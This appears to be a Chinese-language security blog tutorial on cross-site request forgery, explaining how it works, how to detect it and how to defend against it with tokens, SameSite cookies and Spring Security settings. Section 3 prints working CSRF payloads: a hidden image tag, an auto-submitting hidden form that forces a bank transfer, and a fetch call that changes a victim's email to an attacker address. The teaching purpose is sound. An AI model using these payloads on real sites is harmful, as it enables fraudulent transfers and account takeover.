1. 什么是CSRF攻击?
CSRF(跨站请求伪造,Cross-Site Request Forgery) 是一种利用用户已登录状态,诱骗其执行非预期操作的攻击方式。攻击者通过伪造请求,让用户在不知情的情况下完成转账、改密等敏感操作。
危害等级:🔥🔥🔥(中高危)
典型场景:银行转账、密码修改、购物车结算等需要身份验证的操作
2. CSRF攻击原理
攻击条件
-
用户已登录目标网站(如银行网站)
-
用户访问恶意页面(如钓鱼邮件中的链接)
-
目标网站未校验请求来源
攻击流程
3. 实战攻击演示
(1) 基础GET型CSRF
<!-- 恶意页面代码 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">
触发方式:用户访问含该图片的页面时,自动发起转账请求
(2) 表单POST型CSRF
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
特点:可伪造更复杂的POST请求
(3) JSON CSRF(需特殊条件)
fetch('https://api.example.com/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'hacker@evil.com'})
})
绕过技巧:当网站未校验Content-Type
且Cookie为唯一凭证时生效
4. 高级绕过技术
(1) 同源策略绕过
-
利用
<iframe>
+<form>
组合攻击 -
通过
window.open()
新窗口操作
(2) Cookie作用域扩大
-
设置
Domain=.example.com
使子域名共享Cookie -
利用浏览器自动携带Cookie的特性
(3) 反射型CSRF
-
将恶意代码注入目标网站本身(需配合XSS)
5. 自动化检测工具
-
Burp Suite CSRF PoC Generator:一键生成CSRF测试代码
-
OWASP ZAP:自动扫描CSRF漏洞
-
手动测试:删除
Referer
头观察是否仍可请求
6. 防御方案对比
防御措施 | 实现方式 | 优点 | 缺点 |
---|---|---|---|
CSRF Token | 每个表单包含服务器生成的随机令牌 | 安全性高 | 需前后端配合 |
SameSite Cookie | 设置SameSite=Strict/Lax |
浏览器原生支持 | 旧浏览器不兼容 |
双重验证 | 敏感操作需短信/邮箱确认 | 彻底防御 | 用户体验下降 |
Referer检查 | 验证请求来源域名 | 简单易实现 | 可被绕过 |
最佳实践代码示例
// Spring Security配置CSRF防护
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
}
}
<!-- 前端表单嵌入Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="${csrfToken}">
<!-- 其他表单字段 -->
</form>
7. 真实案例剖析
案例:某电商平台支付接口缺失CSRF防护
攻击过程:
-
攻击者在论坛发布含恶意表单的帖子
-
用户访问后自动发起1000元订单支付
-
由于用户已登录,支付直接成功
修复方案:
-
增加CSRF Token校验
-
关键支付操作需短信二次确认
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容